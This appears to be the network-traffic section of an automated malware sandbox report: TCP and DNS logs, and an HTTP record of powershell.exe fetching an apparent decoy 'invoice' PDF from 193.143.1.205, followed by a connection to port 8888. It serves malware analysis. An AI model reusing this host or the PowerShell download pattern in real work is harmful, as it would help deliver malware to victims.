Jan 10, 2025 18:14:15.369657993 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369669914 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369673967 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369692087 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369694948 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369712114 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369721889 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369729996 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369746923 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369764090 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369769096 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369784117 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369784117 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.369798899 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.369832039 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.370805979 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.370837927 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.370851994 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.370870113 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.370878935 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.370898008 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.370913982 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.370918036 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.370933056 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.370942116 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.370951891 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.370978117 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.407454967 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407497883 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407526016 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.407587051 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407640934 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407675982 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407692909 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.407736063 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.407742023 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407777071 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407812119 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407847881 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407871008 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.407912016 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407916069 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.407947063 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407980919 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.407994986 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408015013 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408081055 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408118963 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408137083 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408153057 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408164024 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408253908 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408289909 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408303022 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408324957 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408360004 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408399105 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408406019 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408437014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408453941 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408471107 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408509016 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408539057 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408543110 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408595085 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408628941 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408642054 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408664942 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408678055 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408699036 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408754110 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408756018 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408788919 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408826113 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408859015 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408871889 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408906937 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.408915997 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408945084 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.408982038 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409015894 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409017086 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409063101 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409065008 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409099102 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409132957 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409167051 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409178972 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409221888 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409221888 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409259081 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409293890 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409311056 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409328938 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409380913 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409416914 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409430981 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409451008 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409462929 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409488916 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409543037 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409575939 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409590960 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409610987 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409625053 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409646988 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409703970 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409739017 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409744978 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409774065 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409786940 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409807920 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409859896 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409893990 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409909964 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409928083 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409940958 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.409962893 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.409995079 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410033941 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410044909 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410068989 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410084963 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410104036 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410140038 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410152912 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410176039 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410212040 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410221100 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410267115 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410305977 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410321951 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410343885 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410377979 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410399914 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410413980 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410446882 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410480022 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410495043 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410516024 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410526991 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410552979 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410586119 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410619974 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410629988 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410654068 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410669088 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410687923 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410721064 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410731077 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410758018 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410790920 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410825014 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410836935 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410860062 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410864115 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.410896063 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410948992 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410986900 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.410989046 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.411020994 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.411032915 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.411056042 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.411089897 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.411108017 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.411124945 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.411158085 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.411201954 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.413973093 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.456058979 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456125021 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.456125975 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456183910 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456237078 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456250906 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.456295013 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456336975 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456346035 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.456373930 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456408978 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456444025 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456454039 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.456476927 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456513882 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456515074 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.456547976 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456557035 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.456587076 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456620932 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456660986 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456672907 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.456690073 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.456705093 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.457659006 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.457715034 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.457720995 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.457772017 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.457806110 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.457820892 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.457840919 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.457875013 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.457885981 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.457911015 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.457946062 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.457954884 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.493964911 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494023085 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494077921 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494112968 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494122028 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494149923 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494184971 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494221926 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494256020 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494292021 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494338989 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494338989 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494338989 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494358063 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494585991 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494640112 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494676113 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494709969 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494724035 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494745970 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494754076 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494780064 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494816065 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494849920 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494864941 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494887114 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494900942 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.494935036 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.494971037 CET	80	61210	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:15.495018959 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:15.585388899 CET	61210	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:16.022627115 CET	61226	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:16.027498960 CET	8888	61226	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:16.027620077 CET	61226	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:16.028284073 CET	61226	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:16.033066988 CET	8888	61226	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:16.869834900 CET	8888	61226	193.143.1.205	192.168.2.6
Jan 10, 2025 18:14:16.916878939 CET	61226	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:14:17.025568962 CET	61226	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:14:01.517920971 CET	53	59300	1.1.1.1	192.168.2.6
Jan 10, 2025 18:14:23.339299917 CET	49760	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:14:23.339299917 CET	192.168.2.6	1.1.1.1	0xae77	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:13:46.454446077 CET	1.1.1.1	192.168.2.6	0xad3	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:13:46.454446077 CET	1.1.1.1	192.168.2.6	0xad3	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:14:23.346385956 CET	1.1.1.1	192.168.2.6	0xae77	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	61210	193.143.1.205	80	3000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:14:13.963304043 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:14:14.736895084 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:14:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:14:14.736915112 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:14:14.736928940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 18:14:14.736952066 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 18:14:14.736964941 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 18:14:14.736991882 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 18:14:14.737005949 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
